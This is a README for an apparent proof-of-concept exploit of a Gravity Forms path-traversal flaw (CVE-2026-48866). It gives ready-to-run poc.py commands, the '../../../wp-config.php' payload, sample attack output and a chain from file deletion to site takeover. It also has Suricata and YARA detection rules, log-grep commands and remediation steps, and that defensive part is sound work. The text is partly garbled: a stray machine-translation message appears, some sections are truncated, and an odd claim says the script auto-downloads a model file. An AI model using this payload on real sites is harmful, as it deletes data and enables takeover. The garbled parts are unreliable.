
CVE-2026-48866 — Gravity Forms <= 2.10.0.1 Arbitrary File Deletion via Path Traversal (CVSS 9.6)
---``` ┌───────────────────────────────────────────────────────────┐ │ │ │ C V E - 2 0 2 6 - 4 8 8 6 6 │ │ │ │ Gravity Forms Path Traversal → Arbitrary File Deletion │ │ │ └───────────────────────────────────────────────────────────┘
<h3 align="center">
<code>gform_uploaded_files</code>가 URL에서 <code>../</code>를 허용합니다. 관리자의 삭제 클릭 시 임의 파일 삭제가 발생합니다.
</h3>
<p align="center">
<a href="https://nvd.nist.gov/vuln/detail/CVE-2026-48866">NVD</a> •
<a href="https://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-2-10-0-1-arbitrary-file-deletion-vulnerability">Patchstack</a> •
<a href="https://github.com/codewurker/gravityforms/commit/cf2ff65133d581cfed1c308adc1621c3af1f8422">패치된 커밋</a> •
<a href="https://github.com/codewurker/gravityforms">소스 미러</a>
</p>
---
## 목차
<table>
<tr>
<td width="50%">
**익스플로잇**
- [빠른 시작](#quick-start)
- [작동 방식](#how-it-works)
- [영향](#impact)
- [사용법](#usage)
</td>
<td width="50%">
**방어**
- [기술 심층 분석](#technical-deep-dive)
- [탐지](#detection)
- [수정](#remediation)
- [참고 자료](#references)
</td>
</tr>
</table>
---
## 빠른 시작```
┌─────────────────────────────────────────────────────────────────────┐
│ REQUIREMENTS │
│ ─────────────────────────────────────────────────────────────── │
│ Target WordPress + Gravity Forms ≤ 2.10.0.1 │
│ Form Public form with a file upload field │
│ Python 3.8+ with requests │
│ Auth None (injection) / Admin creds (trigger) │
└─────────────────────────────────────────────────────────────────────┘
The script will automatically download the required model file and dependencies on first run.
python3 poc.py -t https://test.com -f 1 -i 3
python3 poc.py -t https://test.com -f 1 -i 3 --trigger --admin-user admin --admin-pass 'P@ssw0rd'
---
## 작동 방식
### 공격 흐름```
┌───────────────────────────────────────────────────────────────────────┐
│ PHASE 1 — INJECTION │
│ (Unauthenticated — any visitor) │
├───────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────┐ POST gform_uploaded_files ┌──────────────────┐ │
│ │ Attacker │ ──────────────────────────────── │ WordPress AJAX │ │
│ └─────────┘ {"input_3": [{"url": │ admin-ajax.php │ │
│ ".../../../../wp-config.php"}] └────────┬─────────┘ │
│ │ │
│ esc_url_raw() → OK (doesn't strip ../) │ │
│ is_valid_url() → OK (../ is valid URL) │ │
│ ▼ │
│ ┌──────────────────┐ │
│ │ wp_postmeta │ │
│ │ (entry stored │ │
│ │ WITH ../) │ │
│ └────────┬─────────┘ │
└──────────────────────────────────────────────────────────┼────────────┘
│
┌─────────────────────────────┘
│ (hours, days, or weeks pass...)
▼
┌───────────────────────────────────────────────────────────────────────┐
│ PHASE 2 — DELETION │
│ (Admin deletes entry — routine cleanup) │
├───────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────┐ delete_entry(42) ┌──────────────────┐ │
│ │ Admin │ ──────────────────────────────── │ Gravity Forms │ │
│ └─────────┘ └────────┬─────────┘ │
│ │ │
│ get_physical_file_path() │ │
│ str_replace(url_base → path_base) │ │
│ ../ SURVIVES in the path │ │
│ ▼ │
│ ┌──────────────────┐ │
│ │ unlink() │ │
│ │ │ │
│ │ /var/www/html/ │ │
│ │ wp-config.php │ │
│ │ → DELETED │ │
│ └──────────────────┘ │
└───────────────────────────────────────────────────────────────────────┘
// forms_model.php — get_physical_file_path() // Converts stored URL to filesystem path via string replacement $path_info = GF_Field_FileUpload::get_file_upload_path_info( $url, $entry_id ); $file_path = str_replace( trailingslashit( $path_info['url'] ), // https://target.com/wp-content/uploads/gravity_forms/ trailingslashit( $path_info['path'] ), // /var/www/html/wp-content/uploads/gravity_forms/ $url // .../gravity_forms/../../../wp-config.php ); // Result: /var/www/html/wp-content/uploads/gravity_forms/../../../wp-config.php // OS resolves ../../../ → /var/www/html/wp-config.php
`str_replace()`와 `unlink()` 사이에는 검증이 존재하지 않습니다. 버그는 그 간격에 있습니다.
---
## 영향
<table>
<tr>
<th>대상</th>
<th>영향</th>
<th>심각도</th>
</tr>
<tr>
<td><code>wp-config.php</code></td>
<td>사이트가 오프라인 상태가 됩니다. WordPress가 설치 마법사를 표시합니다. 공격자가 DB를 자신의 서버로 연결하여 <strong>전체 사이트를 장악</strong>합니다.</td>
<td align="center">CRITICAL</td>
</tr>
<tr>
<td><code>.htaccess</code></td>
<td>URL 재작성 및 보안 규칙이 사라집니다. 디렉터리 목록이 열립니다.</td>
<td align="center">HIGH</td>
</tr>
<tr>
<td><code>wp-content/plugins/wordfence/wordfence.php</code></td>
<td>Wordfence WAF가 실행을 중단합니다. 공격자와 사이트 사이에 방화벽이 없습니다.</td>
<td align="center">HIGH</td>
</tr>
<tr>
<td><code>wp-includes/plugin.php</code></td>
<td>플러그인이 로드되지 않습니다. 사이트가 작동을 멈춥니다.</td>
<td align="center">CRITICAL</td>
</tr>
<tr>
<td><code>wp-login.php</code></td>
<td>관리자가 잠겼습니다. 파일을 복원하기 전까지 아무도 로그인할 수 없습니다.</td>
<td align="center">MEDIUM</td>
</tr>
</table>
> *"이와 같은 취약점은 한 번에 수천 개의 웹사이트를 대상으로 하는 대규모 익스플로잇 캠페인에 사용됩니다."*
> [Patchstack Advisory, 2026-06-01](https://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-2-10-0-1-arbitrary-file-deletion-vulnerability)
### 삭제 → RCE 에스컬레이션 체인```
┌─────────────┐ ┌──────────────────┐ ┌─────────────────┐
│ Delete │ │ WordPress shows │ │ Attacker sets │
│ wp-config.php│ ──── │ installer wizard │ ──── │ own DB creds │
└─────────────┘ └──────────────────┘ └────────┬────────┘
│
▼
┌─────────────────┐
│ Full admin │
│ access to site │
│ (RCE via themes │
│ /plugin editor)│
└─────────────────┘
RCE 체인 필요 조건:
┌──────────────────────────────────────────────────────────────────────────┐ │ USAGE │ │ ───────────────────────────────────────────────────────────────────── │ │ python3 poc.py [OPTIONS] │ │ │ │ REQUIRED │ │ -t, --target TARGET Target WordPress URL │ │ -f, --form-id ID Gravity Forms form ID │ │ -i, --field-id ID File upload field ID │ │ │ │ OPTIONAL │ │ --file FILE Relative path to delete (default: │ │ wp-config.php) │ │ --depth N ../ count (default: 3) │ │ --trigger Auto-delete via admin login │ │ --admin-user USER Admin username (default: admin) │ │ --admin-pass PASS Admin password (default: admin) │ │ --proxy URL HTTP proxy for intercepting │ │ --verify-only Check target only, don't exploit │ └──────────────────────────────────────────────────────────────────────────┘
### 예제 시나리오
<details>
<summary><b>시나리오 1: 무음 주입 (관리자 자격 증명 불필요)</b></summary>```bash
python3 poc.py \
--target https://test.com \
--form-id 1 \
--field-id 3
../../../wp-config.php가 URL에 포함된 gform_uploaded_files를 제출합니다.wp-config.php가 사라집니다.트리거 시간: 알 수 없음. 관리자 행동에 따라 다름. 몇 시간 또는 몇 주.
트리거 시간: 몇 초.
CVE-2026-48866 - Gravity Forms Arbitrary File Deletion
======================================================
Target: https://test.com
Form ID: 1
Field ID: 3
File: wp-config.php
Depth: 3
Trigger: True
[] === Phase 1: Injecting path traversal payload === [] Fetching form page to get nonce... [+] Got nonce: a1b2c3d4e5f6 [] Crafted payload URL: https://test.com/wp-content/uploads/gravity_forms/../../../wp-config.php [] Submitting form 1 to https://test.com/wp-admin/admin-ajax.php... [*] Response status: 200 [+] Form submitted successfully. Malicious URL stored in entry.
[] === Phase 2: Triggering file deletion as admin === [+] Logged in as admin [+] Found latest entry ID: 42 [] Deleting entry 42... [+] Entry deleted. If the target file existed, it should now be deleted.
[*] Checking target site health... [!!!] Site returned error - wp-config.php may have been deleted!
---
## 기술 심층 분석
### 호출 스택: 주입 경로```
wp_ajax_nopriv_gform_submit_form ← WordPress AJAX, NO AUTH
└─ GF_Ajax_Handler::submit_form()
└─ GFAPI::submit_form()
└─ GFFormDisplay::process_form()
├─ GFFormsModel::set_uploaded_files() [forms_model.php]
│ └─ esc_url_raw( $file['url'] ) ← does NOT strip ../
└─ GF_Field_FileUpload::get_value_save_entry() [class-gf-field-fileupload.php]
└─ get_multifile_value()
├─ GFCommon::is_valid_url($url) ← format-only, ../ passes
└─ $uploaded_files[] = $file['url'] ← STORED WITH ../
GFFormsModel::delete_lead() [forms_model.php] └─ GFFormsModel::delete_files( $entry_id ) └─ delete_physical_file( $file_url, $entry_id ) ├─ get_physical_file_path( $url ) │ └─ str_replace( url_base, path_base, $url ) ← ../ PRESERVED ├─ file_exists( $file_path ) ← OS resolves ../ └─ unlink( $file_path ) ← ARBITRARY FILE DELETED
### 취약 버전 vs 패치 버전
<table>
<tr>
<th width="50%">취약 버전 (≤ 2.10.0.1)</th>
<th width="50%">패치 버전 (2.10.1)</th>
</tr>
<tr>
<td>```php
// delete_physical_file() — NO validation
$file_path = self::get_physical_file_path(
$url, $entry_id
);
$file_path = apply_filters(
'gform_file_path_pre_delete_file',
$file_path, $url
);
// ← No check here
if ( file_exists( $file_path ) ) {
$result = unlink( $file_path );
}
GFCommon::get_absolute_path() 는 . 및 .. 를 경로 세그먼트를 따라 해석합니다:```php
public static function get_absolute_path( $path ) {
$path = str_replace( array( '/', '\' ), DIRECTORY_SEPARATOR, $path );
$path = str_replace( '://', '|%%protocol%%|', $path );
$parts = array_filter( explode( DIRECTORY_SEPARATOR, $path ), 'strlen' );
$absolutes = array();
foreach ( $parts as $part ) {
if ( '.' == $part ) { continue; }
if ( '..' == $part ) {
array_pop( $absolutes );
} else {
$absolutes[] = $part;
}
}
$path = implode( DIRECTORY_SEPARATOR, $absolutes );
return str_replace( '|%%protocol%%|', '://', $path );
}
**`GFCommon::is_file_in_uploads()`** 해결된 경로를 업로드 루트와 비교합니다:```php
public static function is_file_in_uploads( $file ) {
$file_path = self::get_absolute_path( $file );
$root_url = rgar(
GF_Field_FileUpload::get_file_upload_path_info( '' ), 'url'
);
if ( ! str_starts_with( $file_path, $root_url ) ) {
return false;
}
return true;
}
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2026-48866 Gravity Forms Path Traversal in gform_uploaded_files";
flow:established,to_server;
http.method; content:"POST";
http.request_body; content:"gform_uploaded_files";
content:"../"; distance:0;
reference:cve,2026-48866;
classtype:web-application-attack;
sid:2026048866; rev:1;)
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2026-48866 Gravity Forms Path Traversal (URL-encoded)";
flow:established,to_server;
http.method; content:"POST";
http.request_body; content:"gform_uploaded_files";
content:"%2e%2e"; nocase; distance:0;
reference:cve,2026-48866;
classtype:web-application-attack;
sid:2026048867; rev:1;)
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2026-48866 Gravity Forms Malicious URL in Upload Parameter";
flow:established,to_server;
http.method; content:"POST";
http.request_body; content:"gform_uploaded_files";
content:"|22|url|22|"; distance:0;
content:".."; distance:0; within:200;
reference:cve,2026-48866;
classtype:web-application-attack;
sid:2026048868; rev:1;)
### 호스트: YARA 규칙```yara
rule CVE_2026_48866_Exploit_Payload {
meta:
description = "Detects CVE-2026-48866 payload in HTTP POST data or logs"
cve = "CVE-2026-48866"
severity = "critical"
author = "security-research"
strings:
$gform_param = "gform_uploaded_files"
$traversal1 = "../"
$traversal2 = "..\\"
$traversal3 = "%2e%2e%2f" nocase
$traversal4 = "..%2f" nocase
$url_key = "\"url\""
condition:
$gform_param and $url_key and any of ($traversal*)
}
rule CVE_2026_48866_Vulnerable_Plugin {
meta:
description = "Detects vulnerable Gravity Forms lacking is_file_in_uploads fix"
cve = "CVE-2026-48866"
severity = "high"
strings:
$plugin_id = "gravityforms"
$vuln_func = "delete_physical_file"
$fix_func = "is_file_in_uploads"
condition:
$plugin_id and $vuln_func and not $fix_func
}
rule CVE_2026_48866_Patched_Plugin {
meta:
description = "Confirms Gravity Forms has the is_file_in_uploads patch"
cve = "CVE-2026-48866"
severity = "informational"
strings:
$plugin_id = "gravityforms"
$fix_func = "is_file_in_uploads"
$fix_helper = "get_absolute_path"
condition:
$plugin_id and $fix_func and $fix_helper
}
(No content provided in the INPUT section. Please provide the Markdown text to translate.)```bash
yara -r CVE_2026_48866.yar /var/www/html/wp-content/plugins/gravityforms/
| Rule | You Found |
|---|---|
| `CVE_2026_48866_Exploit_Payload` | HTTP 로그 또는 POST 본문에 있는 익스플로잇 페이로드 |
| `CVE_2026_48866_Vulnerable_Plugin` | 수정되지 않은 Gravity Forms 설치 |
| `CVE_2026_48866_Patched_Plugin` | 수정된 Gravity Forms 설치 |
### 로그 분석```bash
# Apache / Nginx access logs — find exploitation attempts
grep -E 'gform_uploaded_files.*(\.\./|%2e%2e)' /var/log/apache2/access.log
grep -E 'gform_uploaded_files.*(\.\./|%2e%2e)' /var/log/nginx/access.log
# Gravity Forms debug log — check for blocked deletions
grep "Not deleting file from URL" /var/www/html/wp-content/uploads/gravity_forms/debug.log
# Verify your install has the fix
grep -r "is_file_in_uploads" /var/www/html/wp-content/plugins/gravityforms/
# → Results in common.php = patched
# → No results = VULNERABLE
┌─────────────────────────────────────────────────────────────────────────┐ │ REMEDIATION CHECKLIST │ │ ───────────────────────────────────────────────────────────────────── │ │ │ │ [ ] 1. UPDATE Gravity Forms to ≥ 2.10.1 │ │ [ ] 2. VERIFY fix is present (grep for is_file_in_uploads) │ │ [ ] 3. AUDIT access logs for past exploitation attempts │ │ [ ] 4. DEPLOY Suricata/WAF rules as interim protection │ │ [ ] 5. CHECK file integrity (were any core files already deleted?) │ │ [ ] 6. MONITOR for new entries with suspicious file URLs │ │ │ └─────────────────────────────────────────────────────────────────────────┘
| 우선순위 | 작업 | 명령어 |
|---|---|---|
| P0 | Gravity Forms 업데이트 | WordPress admin → Plugins → Update |
| P1 | 패치 확인 | `grep -r "is_file_in_uploads" wp-content/plugins/gravityforms/` |
| P2 | 로그 감사 | `grep -E 'gform_uploaded_files.*\.\./' /var/log/*/access.log` |
| P3 | WAF 규칙 배포 | [Detection](#detection) 섹션 위 참조 |
---
## 면책 조항```
┌─────────────────────────────────────────────────────────────────────────┐
│ LEGAL NOTICE │
│ ───────────────────────────────────────────────────────────────────── │
│ │
│ This tool is provided for AUTHORIZED SECURITY TESTING and EDUCATIONAL │
│ PURPOSES ONLY. Unauthorized access to computer systems is illegal │
│ under the Computer Fraud and Abuse Act (CFAA), EU Computer Misuse │
│ Directive, and equivalent laws worldwide. │
│ │
│ • Always obtain WRITTEN PERMISSION before testing systems you own. │
│ • You are responsible for complying with all applicable laws. │
│ • The authors assume NO LIABILITY for misuse of this software. │
│ │
│ If you find this vulnerability in production: REPORT IT. │
│ Patchstack: https://patchstack.com/database/ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
| 버전 | 커밋 | 설명 |
|---|
| v2.10.0 | 86bf7b9 | 취약함. delete_physical_file()에서 경로 검증 없음 |
| v2.10.1 | cf2ff65 | 패치됨. unlink() 전에 is_file_in_uploads() 가드 추가 |
| 출처 | 링크 | 상태 |
|---|